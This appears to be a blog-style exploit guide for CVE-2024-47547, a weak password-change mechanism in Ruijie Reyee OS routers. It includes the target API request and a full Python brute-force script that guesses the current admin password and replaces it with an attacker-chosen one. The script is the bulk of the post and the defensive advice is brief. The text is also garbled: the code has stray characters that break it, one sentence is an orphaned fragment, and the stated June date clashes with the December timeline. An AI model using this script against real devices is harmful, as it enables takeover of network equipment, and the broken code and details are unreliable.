CVE-2024-47547 - Breaking Down the Weak Password Change Mechanism in Ruijie Reyee OS (Detailed Analysis & Exploit Guide)

In June 2024, a serious vulnerability surfaced in Ruijie Reyee OS, affecting versions 2.206.x up to—but not including—2.320.x. Tracked as CVE-2024-47547, this issue centers on how Reyee OS allows users to change their passwords. Unfortunately, the process is so poorly protected that attackers can use brute force techniques to break in. In this post, we’ll walk through how this flaw works, show practical exploit code, share original references, and help you understand how to guard against attacks.

What is CVE-2024-47547?

CVE-2024-47547 is a vulnerability in the password reset/change mechanism of Ruijie Reyee OS routers and networking gear. When users attempt to change their passwords through the web interface or APIs, the underlying implementation is extremely weak.

The flaw:
There’s little to no protection against brute force attacks. Attackers can rapidly guess old or new passwords, automate the attack, and eventually take over legitimate accounts. This problem exists all the way from versions 2.206.x up to (but not including) 2.320.x.

When a user goes to change their password via the web interface, here’s a typical HTTP request

POST /cgi-bin/luci/api/user/password HTTP/1.1
Host: [DeviceIP]
Content-Type: application/json
Authorization: Bearer [session_token]

{
  "old_pass": "current_password",
  "new_pass": "new_password"
}

On affected versions, there is very little server-side rate limiting and often no account lockout, nor any effective delay for repeated failed attempts. This makes the endpoint a prime target for brute force attacks.

Example Exploit: Simple Brute Force Script

Below, you’ll see a Python 3 script that demonstrates exploiting this flaw. This is for educational purposes only—never attack systems you don’t have permission to test.

import requests
import json

device_ip = '192.168.1.1'           # Replace with your device's IP
username = 'admin'
wordlist = ['admin123', '123456', 'password', 'letmein', 'toor', ...]  # A list of possible current passwords
new_password = 'NewStrongPass2024'

session = requests.Session()

# Authentication logic to get a session token (if required)
login_payload = {
  "username": username,
  "password": "any_guess_for_start"
}
resp = session.post(
    f'http://{device_ip}/cgi-bin/luci/api/auth/login';,
    json=login_payload
)
try:
    session_token = resp.json().get('token', None)
except Exception:
    print("Couldn't get session token, check if authentication required!")
    session_token = None

for old_pass in wordlist:
    headers = {
        "Content-Type": "application/json",
        "Authorization": f"Bearer {session_token}"
    }
    payload = {
        'old_pass': old_pass,
        'new_pass': new_password
    }
    r = session.post(
        f'http://{device_ip}/cgi-bin/luci/api/user/password';,
        headers=headers,
        data=json.dumps(payload)
    )
    if r.status_code == 200 and "success" in r.text:
        print(f"Password changed! Old password was: {old_pass}")
        break
    else:
        print(f"Tried {old_pass}: No luck")

Note: In a real attack, a longer and more effective wordlist would be used, and the attacker would optimize requests for higher speeds.

Pivot to further attacks across your network.

This is especially dangerous for ISPs, small businesses, and anyone with an exposed management interface.

References

- NIST NVD entry for CVE-2024-47547
- Ruijie Reyee official website
- Security Advisory (Seebug) *(Chinese, auto-translate recommended)*
- Github: Sample Ruijie Reyee OS configurations

Conclusion

CVE-2024-47547 is a classic example of how weak authentication practices can have severe network-wide consequences. The password change mechanism in Reyee OS could let attackers brute force their way to control over your device. Remember, always update your devices and restrict access to critical interfaces.


*Stay safe, keep your devices updated, and always monitor advisories for the equipment you deploy!*


*If you found this guide useful, share it to help others secure their networks.*

Timeline

Published on: 12/06/2024 18:15:25 UTC
Last modified on: 12/10/2024 19:57:32 UTC